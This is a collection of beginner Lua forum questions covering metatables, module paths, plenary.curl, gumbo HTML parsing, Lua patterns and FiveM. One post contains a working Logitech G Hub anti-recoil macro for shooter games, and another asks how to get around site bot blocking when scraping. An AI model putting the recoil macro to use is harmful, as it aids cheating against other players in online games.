What would anyone want to lock a metatable?

If you ever worked with metatables, you have probably heard about the metatable metamethod which basically makes it readonly and you wouldn't be able to retreive the metatable with getmetatable() function.

What are some practical uses for this? Why would you want to lock your metatables?

Help: how to access file via relative path

This might be a noob question, forgive me: I have the following folder structure.

lua/user/core/icons.lua

lua/user/plugins/lsp/lspconfig.lua

Inside lspconfig.lua I want to access the icons file, like this:

local icons = require "user.core.icons"

But it does not work. Am I missing something here? Thanks a lot!

curl parameters size limit

Hello,

With the below code, If the body is very big, I get a "value too large" error. After having put logging everywhere, I found that the error is thrown at the curl.post line, when the body is past to plenary.curl. I think that there is a size limit for the body, but I don't know how where is that limit set. What is exactly the limit?

local curl = require('plenary.curl')
local query = {}

function query.askCallback(res, opts)
-- Process res and opts
end

function query.ask(instruction, prompt, opts, apikey)
local url = 'https://generativelanguage.googleapis.com'
local path = '/v1beta/models/gemini-1.5-pro-latest:generateContent'
curl.post(url .. path,
{
headers = {
['Content-type'] = 'application/json',
['x-goog-api-key'] = apikey
},
body = json.encode(
{
-- Big, very big body
}),
callback = function(res)
vim.schedule(function() query.askCallback(res, opts) end)
end
})
end

return query

Downslam/Uppercut + Ragdoll Issue

Hey, I need some help fixing my noscript(s). Whenever the player hits the dummy, it ragdolls on the first punch, but I set it so it should do it on the fourth, but that doesn't work.

And whenever I do the down slam or uppercut, it stops the player from doing the punches again.

What should I do?

blam — Better Lua assert messages

blam is a tool that converts assert(condition(variable)) into assert(condition(variable), "condition(variable)").

No more assertion failed!, no more errors if you use Selene.

Sometimes assert messages are developer-facing, not user-facing, and #inventory > 0 is about as understandable as inventory isn't empty if you know Lua.

It won't replace non-empty assert messages, so output should always be strictly better.

Lua pattern to match html elements

I have something like this.

Some <u>underlined</u>, <i>italic</I> text

I need to capture the tags and whatever they are surrounding(optional).

> I will not be dealing with nested elements since that doesn't seem to be possible with lua patterns.

I tried using this.

<(.*)>([^<]-)</(.*)>

But this obviously doesn't work. Is it simply not possible in lua?

I tried searching in Google there is 1 example but it doesn't have much explanation on how it does various things.

So, some resources related to that would be great.

Recoil Script

I am fairly new to Lua, and I would consider myself to be just okay at coding overall. I made a recoil noscript to use with Logitech’s GHub (G-series Lua API V8.45) and am wondering if anyone has tips for optimizing it.

My current concern is that I wanted presets for different strengths that I could quickly toggle between. This ended up being a pile of elseif statements. I plan to create about 100 presets and having 100 elseif statements doesn’t seem like the best way, I don’t know how else to do it with my limited knowledge. Any ideas are appreciated!

--RECOIL SCRIPT--
EnableRC = true
RequireToggle = true
ToggleKey = "CapsLock"
RecoilControlMode = "MEDIUM"

--RECOIL PRESETS--
if RecoilControlMode == "LOW" then
VerticalStrength = 3
HorizontalStrength = 0
elseif RecoilControlMode == "MEDIUM" then
VerticalStrength = 7
HorizontalStrength = 0
elseif RecoilControlMode == "HIGH" then
VerticalStrength = 12
HorizontalStrength = 0
elseif RecoilControlMode == "ULTRA" then
VerticalStrength = 20
HorizontalStrength = 0
end

--THE MAGIC--
EnablePrimaryMouseButtonEvents (true);
function OnEvent(event,arg)
if EnableRC ~= false then
if RequireToggle ~= false then
if IsKeyLockOn(ToggleKey)then
if IsMouseButtonPressed(3)then
repeat
if IsMouseButtonPressed(1) then
repeat
MoveMouseRelative(HorizontalStrength,VerticalStrength)
Sleep(7)
until not IsMouseButtonPressed(1)
end
until not IsMouseButtonPressed(3)
end
end
else
if IsMouseButtonPressed(3)then
repeat
if IsMouseButtonPressed(1) then
repeat
MoveMouseRelative(HorizontalStrength,VerticalStrength)
Sleep(7)
until not IsMouseButtonPressed(1)
end
until not IsMouseButtonPressed(3)
end
end
else
end
end

Scraping h1 tag elements from websites like aliexpress and digikey using socket.http and gumbo?

I'm using "socket.http" to scrap the html page and lua-gumbo for parsing when I try to parse websites like aliexpress and digikey it gives me errors like:

`Access to this page has been denied`

or other unlike with YouTube and Wikipedia.


Any idea why that is and how to deal with it?

Learning code Fivem with Lua

Hello, I started testing Lua for FiveM about a week ago. Obviously, I'm not having any significant success yet, but I keep trying. The situation is that, due to my current knowledge, it would be impossible for me to develop my own framework, which leads me to this question. Should I continue making noscripts and practicing in Vanilla CFX, or should I, for example, take QBCore and start modifying and testing there? Also, if the second option is recommended, how can I create small noscripts that sync with the core or the QBcore base? Thanks in advance.

Custom index Logic with Metatable OOP

I am trying to create an object which contains a specified table as a reference and some indices. In this object, I would like to declare a custom index metamethod while trying to use metatable-based OOP which directs its functionality to the specified table. So, trying to call object"foo" would return the value of object.Table"foo". Additionally, maybe there's some other metamethods which I would like to direct to object.Table, for example, when called by object.

For the first point (about index): can I do that or will I have to use closures?

And the second (about directing metamethods on my custom object to a table in said object): is there a good way to do it besides stating every metamethod and having it return the table's metamethod?

Search for a data variable inside a parsed h1 html tag gumbo

I'm trying to use gumbo to parse the `data` field e.g.

`parse_buf[1\]["childNodes"\][1\]["childNodes"\][1\].data`

inside a lua table of parsed `parse_buf = document:getElementsByTagName("h1")` of the first or last element



The thing I also try to overcome in lua philosophy in general is that sometimes in websites when you intend to to recieve single child element in the parsing e.g.:

`parse_buf[1\]["childNodes"\][1\].data`



you can only access it "in the next nested table" and throws your code an error unless you access the date like that which is undesireable

`parse_buf[1\]["childNodes"\][1\]["childNodes"\][1\].data`



What'd the solution to access nested tags inside div parsed table and viceversa etc...?

Logitech G Hub receive events in a loop

if event == "G_PRESSED" and arg == 5 then
